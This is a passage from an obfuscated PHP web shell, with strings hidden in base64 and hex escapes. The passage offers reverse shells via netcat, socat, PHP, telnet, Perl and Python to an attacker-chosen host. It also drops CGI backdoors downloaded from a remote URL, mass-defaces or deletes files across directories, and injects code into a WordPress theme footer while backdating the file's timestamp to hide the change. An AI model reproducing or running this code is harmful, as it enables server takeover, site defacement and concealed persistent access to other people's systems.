"\x3c\x70\162\145\x20\143\154\141\x73\x73\75\155\x6c\x31\76{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCB6c2g=')) . wb('PC9wcmU+'); } if ($_POST[wb('cDE=')] == wb('bmV0Y2F0')) { $cmd = wb('cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMg'); $ = exe($cmd . $_POST[wb('cDI=')] . wb('IA==') . $_POST[wb('cDM=')] . wb('ID4vdG1wL2Y=')); echo "\74\160\162\145\x20\x63\x6c\x61\x73\163\x3d\155\154\x31\76{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCBuYw==')) . wb('PC9wcmU+'); } if ($_POST[wb('cDE=')] == wb('c29jYXQ=')) { $cmd = wb('c29jYXQgZXhlYzonYmFzaCAtbGknLHB0eSxzdGRlcnIsc2V0c2lkLHNpZ2ludCxzYW5lIHRjcDo='); $ = exe($cmd . $_POST[wb('cDI=')] . wb('Og==') . $_POST[wb('cDM=')] . wb('ID4vdG1wL2Y=')); echo "\74\160\162\145\40\x63\x6c\141\163\x73\x3d\155\154\x31\76{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCBzb2NhdA==')) . wb('PC9wcmU+'); } if ($_POST[wb('cDE=')] == wb('cGhw')) { $cmd = "\160\x68\x70\40\55\x72\x20\47{$sock}\x3d\146\163\x6f\x63\x6b\157\x70\x65\156\x28\147\145\x74\145\x6e\166\50"; $ = exe($cmd . $_POST[wb('cDI=')] . wb('IiksZ2V0ZW52KCI=') . $_POST[wb('cDM=')] . wb('IikpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7')); echo "\x3c\160\x72\x65\40\143\154\x61\x73\163\x3d\x6d\154\x31\x3e{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCBmc29ja29wZW4=')) . wb('PC9wcmU+'); } if ($_POST[wb('cDE=')] == wb('dGVsbmV0')) { $cmd = "\x54\x46\x3d\x24\x28\x6d\153\164\145\155\x70\40\x2d\x75\51\x3b\x20\155\x6b\146\x69\x66\157\40{$TF}\40\46\x26\x20\x74\x65\x6c\x6e\145\x74\40"; $ = exe($cmd . $_POST[wb('cDI=')] . wb('IA==') . $_POST[wb('cDM=')] . "\x20\60\x3c{$TF}\40\174\40\x2f\x62\151\156\40\x73\x68\40\x31\76{$TF}"); echo "\x3c\x70\x72\x65\40\143\154\141\163\x73\x3d\x6d\x6c\x31\76{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCB0ZWxuZXQ=')) . wb('PC9wcmU+'); } if ($_POST[wb('cDE=')] == wb('cGVybA==')) { $cmd = "\160\145\x72\x6c\40\x2d\145\40\47\x75\x73\x65\x20\x53\157\143\153\x65\x74\73{$i}\x3d"; $ = exe($cmd . wb('IiRFTlZ7') . $_POST[wb('cDI=')] . wb('fSI7JHA9JEVOVns=') . $_POST[wb('cDM=')] . wb('fTtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL3NoIC1pIik7fTs=')); echo "\x3c\160\x72\145\40\x63\x6c\141\163\x73\75\155\154\x31\x3e{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCBwZXJs')) . wb('PC9wcmU+'); } if ($_POST[wb('cDE=')] == wb('YmNweQ==')) { $cmd = wb('cHl0aG9uIC1j'); $ = exe($cmd . wb('IGltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKA==') . $_POST[wb('cDI=')] . wb('LA==') . $_POST[wb('cDM=')] . wb('KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbJy9iaW4vc2gnLCctaSddKTs=')); echo "\74\160\x72\145\40\143\x6c\141\163\x73\x3d\155\x6c\61\x3e{$}" . exe(wb('cHMgYXV4IHwgZ3JlcCBweXRob24=')) . wb('PC9wcmU+'); } } echo wb('PC9kaXY+'); } elseif (isset($_GET[hex(wb('Y2dp'))])) { echo wb('PGhyPjxicj4='); echo wb('PGNlbnRlcj4gPGgyPiBDR0ktQklOIFB5dGhvbiBhbmQgUGVybCA8L2gyPiA8YnI+PGJyPjxmb3JtIG1ldGhvZD0nUE9TVCc+IDxkaXYgY2xhc3M9J3JvdyBjbGVhcmZpeCc+IDxkaXYgY2xhc3M9J2NvbC1tZC00Jz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nY2dpJyBjbGFzcz0nZm9ybS1jb250cm9sIGJ0biBidG4tc3VjY2VzcyBmb3JtLWNvbnRyb2wnIHZhbHVlPSdDR0kgUGVybCAxJyBoZWlnaHQ9JzEwJz4gPC9kaXY+PGRpdiBjbGFzcz0nY29sLW1kLTQnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdjZ2kyJyBjbGFzcz0nZm9ybS1jb250cm9sIGJ0biBidG4td2FybmluZyBmb3JtLWNvbnRyb2wnIHZhbHVlPSdDR0kgUGVybCAyJyBoZWlnaHQ9JzEwJz4gPC9kaXY+PGRpdiBjbGFzcz0nY29sLW1kLTQnPiA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdjZ2lweScgY2xhc3M9J2Zvcm0tY29udHJvbCBidG4gYnRuLWRhbmdlciBmb3JtLWNvbnRyb2wnIHZhbHVlPSdDR0kgUHl0aG9uJyBoZWlnaHQ9JzEwJz4gPC9kaXY+PC9kaXY+PC9mb3JtPjwvY2VudGVyPjxicj4='); if (isset($_POST[wb('Y2dp')])) { if (!$GNJ[8](wb('Lm1hcmk='))) { $GNJ[11](wb('Lm1hcmk='), 493); } $file_cgi = wb('Lm1hcmkva2F5ZWxpLlg='); $cgiht = wb('Lm1hcmkvLmh0YWNjZXNz'); $isi_htcgi = wb('VDNCMGFXOXVjeUF0U1c1a1pYaGxjeUFyUm05c2JHOTNVM2x0VEdsdWEzTWdLMDExYkhScFZtbGxkM01nSzBWNFpXTkRSMGtLUVdSa1NHRnVaR3hsY2lCaloya3RjMk55YVhCMElDNVlDa0ZrWkZSNWNHVWdZWEJ3YkdsallYUnBiMjR2ZUMxb2RIUndaQzFqWjJrZ0xsZz0='); $targetPath = decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3U3QzJqcjJrZmc9PQ==')); $data = fgt($targetPath); $content = b64dd($data); @file_put_contents($file_cgi, $content); @file_put_contents($cgiht, b64dd($isi_htcgi)); $GNJ[12]($file_cgi, 493); $GNJ[12]($cgiht, 420); echo wb('PGJyPjxjZW50ZXI+RG9uZSAuLi4gPGEgaHJlZj0nLm1hcmkva2F5ZWxpLlgnIHRhcmdldD0nX2JsYW5rJz5LbGlrIERpc2luaTwvYT4='); } elseif (isset($_POST[wb('Y2dpMg==')])) { if (!$GNJ[8](wb('Lm1hcmk='))) { $GNJ[11](wb('Lm1hcmk='), 493); } $file_cgi = wb('Lm1hcmkvY3BhbmVsLlg='); $cgiht = wb('Lm1hcmkvLmh0YWNjZXNz'); $isi_htcgi = wb('VDNCMGFXOXVjeUF0U1c1a1pYaGxjeUFyUm05c2JHOTNVM2x0VEdsdWEzTWdLMDExYkhScFZtbGxkM01nSzBWNFpXTkRSMGtLUVdSa1NHRnVaR3hsY2lCaloya3RjMk55YVhCMElDNVlDa0ZrWkZSNWNHVWdZWEJ3YkdsallYUnBiMjR2ZUMxb2RIUndaQzFqWjJrZ0xsZz0='); $data = b64dd(fgt(decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3U3QzJqcjJrZnc9PQ==')))); @file_put_contents($file_cgi, $data); @file_put_contents($cgiht, b64dd($isi_htcgi)); $GNJ[12]($file_cgi, 493); $GNJ[12]($cgiht, 420); echo wb('PGJyPjxjZW50ZXI+RG9uZSAuLi4gPGEgaHJlZj0nLm1hcmkvY3BhbmVsLlgnIHRhcmdldD0nX2JsYW5rJz5LbGlrIEhlcmU8L2E+'); } elseif (isset($_POST[wb('Y2dpcHk=')])) { if (!$GNJ[8](wb('Lm1hcmk='))) { $GNJ[11](wb('Lm1hcmk='), 493); } $file_cgi = wb('Lm1hcmkvbWF3ZXMuWA=='); $cgiht = wb('Lm1hcmkvLmh0YWNjZXNz'); $isi_htcgi = wb('VDNCMGFXOXVjeUF0U1c1a1pYaGxjeUFyUm05c2JHOTNVM2x0VEdsdWEzTWdLMDExYkhScFZtbGxkM01nSzBWNFpXTkRSMGtLUVdSa1NHRnVaR3hsY2lCaloya3RjMk55YVhCMElDNVlDa0ZrWkZSNWNHVWdZWEJ3YkdsallYUnBiMjR2ZUMxb2RIUndaQzFqWjJrZ0xsZz0='); $data = b64dd(fgt(decno(wb('eDhHc3ZiU1NlSHpNZTZ1NXNNeXF2STJ3cDdwd3U3QzJqcjJ4')))); @file_put_contents($file_cgi, $data); @file_put_contents($cgiht, b64dd($isi_htcgi)); $GNJ[12]($file_cgi, 493); $GNJ[12]($cgiht, 420); echo wb('PGJyPjxjZW50ZXI+RG9uZSAuLi4gPGEgaHJlZj0nLm1hcmkvbWF3ZXMuWCcgdGFyZ2V0PSdfYmxhbmsnPktsaWsgSGVyZTwvYT4='); } } elseif (isset($_GET[hex(wb('bWFzc190b29s'))])) { $dir = dapatCWD(); echo wb('PGNlbnRlcj4='); if (isset($_POST[wb('ZF9kaXI=')])) { $dirr = $_POST[wb('ZF9kaXI=')]; } if (isset($_POST[wb('c2NyaXB0')])) { $index = $_POST[wb('c2NyaXB0')]; $index = $GNJ[14](wb('Ig=='), wb('Jw=='), $index); $index = stripslashes($index); } function edit_file($file, $index) { global $GNJ; if ($GNJ[31]($file)) { clear_fill($file, $index); echo wb('PFNwYW4gc3R5bGU9J2NvbG9yOiNmZmZmY2M7Jz48c3Ryb25nPiBbK10gTnlhYnVuIDEwMCUgU3VjY2Vzc2Z1bGwgPC9zdHJvbmc+PC9zcGFuPjxicj48L2NlbnRlcj4='); } else { echo wb('PFNwYW4gc3R5bGU9J2NvbG9yOnJlZDsnPjxzdHJvbmc+IFstXSBUZXJueWF0YSBUaWRhayBCb2xlaCBNZW55YWJ1biBEaXNpbmkgOiggPC9zdHJvbmc+PC9zcGFuPjxicj48L2NlbnRlcj4='); } } function hapus_massal($dir, $namafile) { global $GNJ; if ($GNJ[31]($dir)) { $dira = myscandir($dir); if (is_array($dira) || is_object($dira)) { foreach ($dira as $dirb) { $dirc = "{$dir}\x2f{$dirb}"; $lokasi = $dirc . wb('Lw==') . $namafile; if ($dirb === wb('Lg==')) { if ($GNJ[26]("{$dir}\x2f{$namafile}")) { @$GNJ[10]("{$dir}\x2f{$namafile}"); } } elseif ($dirb === wb('Li4=')) { if ($GNJ[26]('' . dirname($dir) . "\57{$namafile}")) { @$GNJ[10]('' . dirname($dir) . "\57{$namafile}"); } } else { if ($GNJ[8]($dirc)) { if ($GNJ[31]($dirc)) { if ($GNJ[26]($lokasi)) { echo "\x44\x45\x4c\x45\124\x45\104\x20{$lokasi}\74\x62\x72\76"; @$GNJ[10]($lokasi); $idx = hapus_massal($dirc, $namafile); } } } } } } } } function clear_fill($file, $index) { global $GNJ; if ($GNJ[26]($file)) { $handle = $GNJ[17]($file, wb('dw==')); $GNJ[18]($handle, ''); $GNJ[18]($handle, $index); $GNJ[19]($handle); } } function gass_all() { global $GNJ; global $index; $dirrall = $_POST[wb('ZF9kaXI=')]; foreach (ListFiles($dirrall) as $key => $file) { $file = $GNJ[14](wb('Ly8='), wb('Lw=='), $file); echo "\74\x63\145\x6e\164\145\162\76\x3c\x73\164\x72\157\156\x67\x3e{$file}\x3c\x2f\163\x74\162\x6f\156\147\76\x20\x3d\75\x3d\x3e"; edit_file($file, $index); flush(); } $key = $key + 1; echo "\x3c\143\145\156\164\145\162\76\x3c\x62\x72\76\74\150\63\76{$key}\x20\x4b\x61\154\151\x20\101\156\144\141\x20\x54\x65\x6c\141\x68\x20\116\x67\145\143\162\157\x74\40\x20\x44\151\163\x69\156\151\x20\x20\x3c\x2f\x68\x33\76\x3c\57\143\145\x6e\x74\x65\x72\76\x3c\142\162\76"; } function sabun_massal($dir, $namafile, $isi_script) { global $GNJ; if ($GNJ[31]($dir)) { $dira = myscandir($dir); if (is_array($dira) || is_object($dira)) { foreach ($dira as $dirb) { $dirc = "{$dir}\57{$dirb}"; $lokasi = $dirc . wb('Lw==') . $namafile; if ($dirb === wb('Lg==')) { file_put_contents($lokasi, $isi_script); } elseif ($dirb === wb('Li4=')) { file_put_contents($lokasi, $isi_script); } else { if ($GNJ[8]($dirc)) { if ($GNJ[31]($dirc)) { echo "\133\x3c\x66\157\156\164\40\143\157\x6c\157\x72\x3d\x72\145\x64\76\104\117\x4e\105\x3c\x2f\x66\157\x6e\x74\76\x5d\40{$lokasi}\74\142\x72\x3e"; file_put_contents($lokasi, $isi_script); $idx = sabun_massal($dirc, $namafile, $isi_script); } } } } } } } $lockhtaccess = implode(wb('fA=='), $enx1); $src1 = b64dd(wb('VDNCMGFXOXVjeUF0U1c1a1pYaGxjd284Um1sc1pYTk5ZWFJqYUNBaUxpcGNMaWh3ZVh4emFIUnRiSHh3YUhSdGJIeHdhSEI4VUVoUWZGQm9jSHhRU0hCOGNFaHdmSEJJVUh4d2FGQjhVR2hRZkhCb2NEVjhjR2h3Tnlra0lqNEtUM0prWlhJZ1FXeHNiM2NzUkdWdWVRcEVaVzU1SUdaeWIyMGdZV3hzQ2p3dlJtbHNaWE5OWVhSamFENEtQRVpwYkdWelRXRjBZMmdnSjE0bw==')); $src1 .= $lockhtaccess; $src1 .= b64dd(wb('S1NRblBncFBjbVJsY2lCaGJHeHZkeXhrWlc1NUNrRnNiRzkzSUdaeWIyMGdZV3hzQ2p3dlJtbHNaWE5OWVhSamFENEtJeUJDUlVkSlRnbzhTV1pOYjJSMWJHVWdiVzlrWDNKbGQzSnBkR1V1WXo0S1VtVjNjbWwwWlVWdVoybHVaU0JQYmdwU1pYZHlhWFJsUW1GelpTQXZDbEpsZDNKcGRHVlNkV3hsSUY1cGJtUmxlQzV3YUhBa0lDMGdXMHhkQ2xKbGQzSnBkR1ZEYjI1a0lDVjdVa1ZSVlVWVFZGOUdTVXhGVGtGTlJYMGdJUzFtQ2xKbGQzSnBkR1ZEYjI1a0lDVjdVa1ZSVlVWVFZGOUdTVXhGVGtGTlJYMGdJUzFrQ2xKbGQzSnBkR1ZTZFd4bElDNGdhVzVrWlhndWNHaHdJRnRNWFFvOEwwbG1UVzlrZFd4bFBnb2pJRVZPUkE9PQ==')); if (isset($_POST[wb('bWFzcw==')]) and $_POST[wb('bWFzcw==')] == wb('aGFwdXNtYXNzYWw=')) { MassmenU($d); hapus_massal($_POST[wb('ZF9kaXI=')], $_POST[wb('ZF9maWxl')]); } elseif (isset($_POST[wb('bWFzcw==')]) and $_POST[wb('bWFzcw==')] == wb('Z2FudGltYXNzYWx3YWt0dWZpbGVkaXI=')) { MassmenU($d); ganti_massal($_POST[wb('ZF9kaXI=')]); } elseif (isset($_POST[wb('bWFzcw==')]) and $_POST[wb('bWFzcw==')] == wb('bWFzc2RlZmFjZWFsbGZpbGVz')) { gass_all(); } elseif (isset($_POST[wb('bWFzcw==')]) and $_POST[wb('bWFzcw==')] == wb('bWFzc2RlZmFjZWFsbGRpcg==')) { MassmenU($d); echo wb('PGRpdiBzdHlsZT0nbWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZzogNXB4Jz4='); sabun_massal($_POST[wb('ZF9kaXI=')], $_POST[wb('ZF9maWxl')], $_POST[wb('c2NyaXB0')]); echo wb('PC9kaXY+'); } else { MassmenU($d); echo "\74\163\143\x72\151\160\164\76\40\166\141\162\40\x24\40\x3d\40\x6a\121\x75\x65\162\171\x2e\156\157\x43\x6f\x6e\x66\154\x69\x63\x74\x28\51\73\x20\x24\50\144\x6f\143\165\x6d\x65\156\164\x29\x2e\x72\x65\x61\144\171\50\x66\x75\156\x63\164\x69\x6f\156\x28\51\x20\x7b\40\40\44\x2e\166\x69\x65\x77\x4d\x61\x70\40\75\x20\x7b\40\40\x27\60\47\x20\x3a\x20\44\x28\133\x5d\x29\x2c\x20\40\47\x6d\x61\x73\x73\x64\145\x66\141\x63\x65\141\x6c\x6c\144\x69\x72\x27\x20\72\x20\44\x28\x27\x23\166\151\145\167\61\54\x20\x23\166\x69\145\x77\x32\54\x20\x23\166\151\145\x77\63\47\x29\54\40\x20\47\155\141\163\x73\144\145\x66\141\143\x65\x61\x6c\x6c\x66\x69\x6c\145\163\x27\x20\x3a\40\x24\x28\47\x23\x76\151\x65\x77\61\x2c\x20\x23\x76\151\145\x77\x33\47\51\x2c\x20\x20\x27\150\141\x70\x75\x73\x6d\141\x73\163\x61\154\47\x20\x3a\x20\44\x28\x27\x23\x76\x69\145\x77\61\x2c\x20\x23\x76\151\145\x77\x32\x27\x29\54\40\40\47\x67\141\x6e\x74\151\155\141\x73\163\x61\x6c\x77\x61\153\164\x75\146\x69\154\145\x64\x69\x72\47\x20\x3a\40\x24\x28\47\43\166\x69\x65\167\61\x27\51\40\x20\40\x7d\x3b\11\11\x20\40\44\x28\x27\43\155\141\163\x73\x27\51\56\143\150\x61\156\147\x65\50\146\x75\x6e\143\x74\x69\157\x6e\50\x29\40\x7b\x20\40\44\x2e\145\x61\143\x68\50\44\56\166\x69\145\x77\115\141\x70\54\x20\x66\x75\x6e\143\x74\151\x6f\x6e\50\51\40\x7b\40\x74\150\151\x73\x2e\150\151\x64\x65\50\51\73\x20\175\51\x3b\40\x20\44\56\166\151\145\167\115\x61\160\133\44\x28\x74\150\151\x73\51\56\166\141\154\50\51\135\56\x73\x68\157\167\50\51\x3b\40\40\40\x7d\x29\x3b\x20\175\51\73\x20\74\x2f\x73\143\162\x69\160\164\x3e\74\146\157\162\155\x20\x61\x63\x74\151\157\x6e\x3d\x27\47\40\155\x65\x74\150\x6f\x64\75\47\x70\x6f\163\164\47\x3e\74\146\x69\145\154\144\163\x65\164\76\x3c\x6c\x61\x62\145\x6c\x3e\x53\x65\x6c\145\143\164\x20\x54\171\x70\145\72\x20\x3c\x2f\154\141\x62\x65\154\x3e\x3c\x73\x65\x6c\145\143\x74\40\156\x61\x6d\145\75\x27\155\x61\x73\163\x27\40\x69\144\75\47\x6d\141\x73\163\x27\x20\x63\x6c\141\x73\x73\75\x27\146\x6f\162\155\x2d\143\x6f\156\x74\x72\157\154\x27\x20\x73\x74\171\x6c\x65\75\x27\x77\151\x64\x74\x68\72\x20\x34\65\x30\160\170\73\x27\40\150\145\151\147\x68\164\75\47\61\60\47\x3e\x3c\157\160\x74\x69\x6f\x6e\x20\166\141\x6c\x75\x65\x3d\x27\147\141\x6e\164\151\155\x61\x73\x73\x61\154\167\x61\153\x74\165\x66\151\154\x65\x64\x69\162\x27\40\163\145\154\145\x63\x74\145\144\76\115\141\163\x73\40\x47\141\x6e\164\151\x20\x57\141\x6b\164\x75\40\x46\x69\154\x65\163\40\144\x61\156\40\x44\151\162\x65\x63\x74\157\x72\171\x3c\57\157\160\x74\151\x6f\156\76\x3c\x6f\x70\x74\151\x6f\156\40\166\x61\154\x75\145\75\47\155\x61\163\163\x64\145\x66\141\x63\x65\x61\x6c\x6c\x64\151\x72\47\x3e\x4d\x61\163\x73\x20\104\145\146\x61\143\x65\x20\101\154\x6c\40\104\x69\x72\x3c\x2f\x6f\x70\x74\151\x6f\156\x3e\x3c\x6f\160\x74\151\157\156\x20\166\141\154\165\x65\75\47\x6d\141\163\163\x64\x65\146\x61\x63\x65\141\x6c\x6c\146\151\154\x65\163\47\x3e\115\141\163\x73\40\104\145\x66\141\143\x65\40\x41\x6c\x6c\x20\x46\151\x6c\145\163\x3c\x2f\157\x70\x74\151\x6f\x6e\x3e\x3c\157\160\x74\151\157\x6e\40\x76\141\154\x75\145\x3d\x27\x68\141\160\x75\163\x6d\141\163\x73\x61\154\47\x3e\x4d\x61\163\163\40\x44\x65\154\145\x74\x65\x20\106\x69\154\x65\x73\74\57\157\x70\164\151\157\156\76\74\57\x73\145\x6c\x65\143\x74\76\74\142\162\76\74\x64\151\x76\x20\151\144\x3d\47\x76\151\x65\167\61\47\x3e\x3c\x6c\x61\142\x65\x6c\76\106\x6f\x6c\144\145\x72\72\74\57\154\141\142\145\154\76\x3c\151\x6e\160\165\164\40\164\171\160\145\75\47\x74\x65\170\164\x27\40\x6e\x61\155\145\75\x27\144\x5f\144\x69\162\47\40\166\141\154\x75\x65\75\47{$dir}\47\x20\143\154\x61\163\163\x3d\x27\146\x6f\x72\x6d\55\143\157\x6e\164\162\157\154\x27\x20\163\164\171\154\145\75\47\167\x69\144\x74\x68\x3a\x20\x34\65\60\160\170\73\x27\40\x68\145\x69\x67\150\x74\75\47\x31\x30\47\x3e\x3c\142\162\x3e\74\x2f\144\x69\x76\x3e\74\144\151\166\40\x69\144\x3d\47\x76\151\145\167\x32\x27\x20\163\164\171\154\x65\75\47\144\151\163\x70\154\x61\171\x3a\x20\x6e\x6f\x6e\x65\x3b\47\x3e\x3c\x6c\141\x62\x65\154\x3e\x46\151\154\x65\156\141\155\x65\72\x3c\57\154\x61\142\x65\154\76\74\151\x6e\x70\165\x74\40\164\x79\160\145\x3d\47\164\x65\170\164\47\40\156\141\x6d\x65\75\x27\144\137\146\x69\x6c\145\47\40\x76\x61\x6c\165\145\75\47\56\150\x74\x61\x63\x63\145\163\x73\x27\x20\x63\x6c\141\x73\x73\x3d\47\x66\157\x72\x6d\x2d\x63\x6f\x6e\x74\x72\157\154\47\x20\x73\x74\171\x6c\145\x3d\x27\x77\151\x64\164\x68\72\40\x34\65\x30\160\x78\x3b\x27\40\x68\x65\151\x67\150\x74\75\x27\61\x30\47\76\x3c\x62\162\76\x3c\57\144\151\166\76\74\144\151\x76\40\x69\144\75\x27\166\151\x65\x77\x33\x27\x20\x73\x74\171\x6c\x65\x3d\47\144\151\x73\x70\x6c\141\171\72\x20\156\x6f\x6e\x65\x3b\x27\76\x3c\154\x61\142\x65\x6c\x3e\x49\156\x64\145\x78\x20\x46\x69\154\145\x3a\74\57\154\141\142\x65\x6c\x3e\74\164\x65\x78\x74\141\x72\x65\141\40\x63\154\x61\163\163\75\x27\x66\x6f\x72\x6d\55\143\157\x6e\x74\162\157\154\47\40\x6e\141\155\145\x3d\x27\163\x63\162\151\x70\x74\47\40\163\164\171\154\145\x3d\47\x77\151\x64\164\150\x3a\x20\x34\65\60\160\170\73\x20\150\x65\151\x67\x68\164\72\x20\63\x30\x30\x70\170\73\47\x3e" . $src1 . wb('PC90ZXh0YXJlYT48YnI+PC9kaXY+PGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wnIHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3RhcnQnIHZhbHVlPSdEbyBpdCEnIHN0eWxlPSd3aWR0aDogNDUwcHg7Jz48L2Zvcm0+PC9jZW50ZXI+PC9maWVsZHNldD4='); } } elseif (isset($_GET[hex(wb('ZXhwbG9pdGVy'))])) { ExploitermenU($d); } elseif (isset($_GET[hex(wb('Zm9vdGVy'))])) { AutomenU($d); echo wb('PGhyPjxicj4='); $direktori = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; $targetSitez = (isset($_SERVER[wb('SFRUUFM=')]) && $_SERVER[wb('SFRUUFM=')] === wb('b24=') ? wb('aHR0cHM=') : wb('aHR0cA==')) . "\x3a\57\x2f{$_SERVER[wb('SFRUUF9IT1NU')]}"; if (get_http_response_code($targetSitez) != wb('MjAw')) { echo wb('PGJyPjxicj48Y2VudGVyPlRoZW1lcyBXb3JkcHJlc3M6IDxzdHJvbmc+PGgyPldlYnNpdGUgRXJyb3I8L2gyPjwvc3Ryb25nPjwvY2VudGVyPg=='); } else { $srcz = fgt($targetSitez); preg_match(wb('Ly4qc3R5bGVzaGVldC4qaHJlZj0uKlwvdGhlbWVzXC8oLio/KVwvLipcLmNzcy4qXD4vaQ=='), $srcz, $matchesz); if (isset($matchesz[1])) { $styleHrefz = trim($matchesz[1]); if (isset($styleHrefz)) { echo wb('PGJyPjxicj48Y2VudGVyPlRoZW1lcyBXb3JkcHJlc3M6IDxzdHJvbmc+PGgyPg==') . $styleHrefz . wb('PC9oMj48L3N0cm9uZz48L2NlbnRlcj4='); } else { echo wb('PGJyPjxicj48Y2VudGVyPlRoZW1lcyBXb3JkcHJlc3M6IDxzdHJvbmc+PGgyPldlYnNpdGUgRXJyb3I8L2gyPjwvc3Ryb25nPjwvY2VudGVyPg=='); } echo wb('PGNlbnRlcj4='); $fooxer = $direktori . DIRECTORY_SEPARATOR . wb('d3AtY29udGVudA==') . DIRECTORY_SEPARATOR . wb('dGhlbWVz') . DIRECTORY_SEPARATOR . $styleHrefz . DIRECTORY_SEPARATOR . wb('Zm9vdGVyLnBocA=='); if ($GNJ[26]($fooxer) && $GNJ[31]($fooxer)) { echo wb('PGJyPkZvb3Rlcjog') . $fooxer; $fooxerori = fgt($fooxer); if ($GNJ[30]($fooxerori, wb('cGFuZW4=')) === false) { $searchcar = wb('PC9ib2R5Pg=='); $waktubl = $GNJ[20](wb('WS1tLWQgSDppOnM=')); $replacecar1 = wb('RGNyUkNzSWdGSURoVjVFUnFCQmFDeXBhTmJydEdRSTViY2RONWxUbUNVYnQ0ZHZsLy9GZjY5UW41cXh3MmZSeFJDSFpzckExN0JRRG1RVGRTcEw5Mk9ZTnplQmRHUElONStSamk2SjRoV0pyblVmVElabG0vVEZRRnJ3blNoZXQ5NmVET3BlcTNCM1ZxZFF4WlYwcW1vbExXYlZBYUZxMDhQRmt5STM0alFGTlJoTDhrUjNvSnd3d0VYQlpzZnIrQnc9PQ=='); $replacecar2 = wb('VlU5TlQ0TkFFUDByWTRNQnROdUNTUzhzYkMrYWVEQ3hCKzlrZ0NYZGRHRTM3RkFscHYvZExTVkdiL1BldkkrWmZHK1BGZ0l5RFU1Rkx6L2hHVWwrcUU1R01RODg1NHJiam9sR3RXMFVPTUtCUEk2WmFNM1FJVVhoUFlaZWUwWTl5aUo5bkUwUFR6eW9kQkhtalRxRG8wbkxZbVdOVTZSTW53Rld6dWlSSklmS0VKa3VnOFIrY2RDeXBReFltaWE3bmNjckVXNE9yNGZ5NWYzdEdyYnhhVWIvNWN4SWRxUUNod0duMG1sVnl5aW9zRDVwMVovY09sbmZUb3E1djFOaWZZd1dBNkNENEtxSnYrZlllZjVOdlN4VjIvOWRDK25mRVNHM2crcXBISHliampsY1lDL3liV1dhU2VSM2pJSEZYdmJBbVBnQg=='); $strcar = preg_replace(wb('fi4qXEs=') . preg_quote($searchcar, wb('fg==')) . wb('fnM='), wb('JDE=') . $GNJ[39](b64dd($replacecar1)) . wb('PD9waHAgJHN0YXJ0ZGF5PW5ldyBEYXRlVGltZSgn') . $waktubl . wb('Jyk7ID8+') . $GNJ[39](b64dd($replacecar2)), $fooxerori); echo $strcar; file_put_contents($fooxer, $strcar); @$GNJ[25]($fooxer, $GNJ[33](wb('LQ==') . rand(90, 150) . wb('IGRheXM='), time())); } if (preg_match(wb('L3BhbmVuL2k='), $fooxerori)) { echo wb('PGJyPkZvb3RlciBiZWhhc2lsIGRpIGluamVjdCBwYWRhOiA8YSBocmVmPSc=') . $targetSitez . wb('JyB0YXJnZXQ9J19ibGFuayc+') . $targetSitez . wb('PC9hPjxicj4='); echo wb('PHRleHRhcmVhIHJlYWRvbmx5Pg==') . $GNJ[15]($fooxerori) . wb('PC90ZXh0YXJlYT4='); } else { echo wb('PGJyPkluamVjdGluZyBmYWlsZWQhPGJyPg=='); echo wb('PHRleHRhcmVhIHJlYWRvbmx5Pg==') . $GNJ[15]($fooxerori) . wb('PC90ZXh0YXJlYT4='); } } else { echo wb('PGJyPkZpbGUgbm90IGV4aXN0IG9yIG5vdCB3cml0YWJsZSE8YnI+'); } echo wb('PC9jZW50ZXI+'); } else { echo wb('PGNlbnRlcj48aDI+QnVrYW4gV29yZHByZXNzIE1hc3plZWghPC9oMj48L2NlbnRlcj4='); } } } elseif (isset($_GET[hex(wb('aW5qZWN0YmRzcWw='))])) { AutomenU($d); if (isset($_POST[wb('ZGlyZWt0b3Jp')])) { $direktorinya = $_POST[wb('ZGlyZWt0b3Jp')]; } else { $direktorinya = $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]; } if ($GNJ[22]($direktorinya, -1) == wb('Lw==')) { $direktorinya = $GNJ[22]($direktorinya, 0, -1); } echo wb('PGhyPjxicj4='); echo wb('PGNlbnRlcj48aDIgc3R5bGU9J2NvbG9yOiBncmVlbjsnPkluamVjdCBteVNRTCBTaGVsbDwvaDI+PC9jZW50ZXI+'); if (empty($_POST[wb('ZGJob3N0')])) { $dbhostx = wb('SVNJIC4uLg=='); } if (empty($_POST[wb('ZGJ1c2Vy')])) { $dbuserx = wb('SVNJIC4uLg=='); } if (empty($_POST[wb('ZGJwYXNz')])) { $dbpassx = wb('SVNJIC4uLg=='); } if (empty($_POST[wb('ZGJuYW1l')])) { $dbnamex = wb('SVNJIC4uLg=='); } echo wb('PGJyPjxicj48ZGl2IHN0eWxlPSJ3aWR0aDo3NTBweDttYXJnaW46IGF1dG8iPg=='); echo 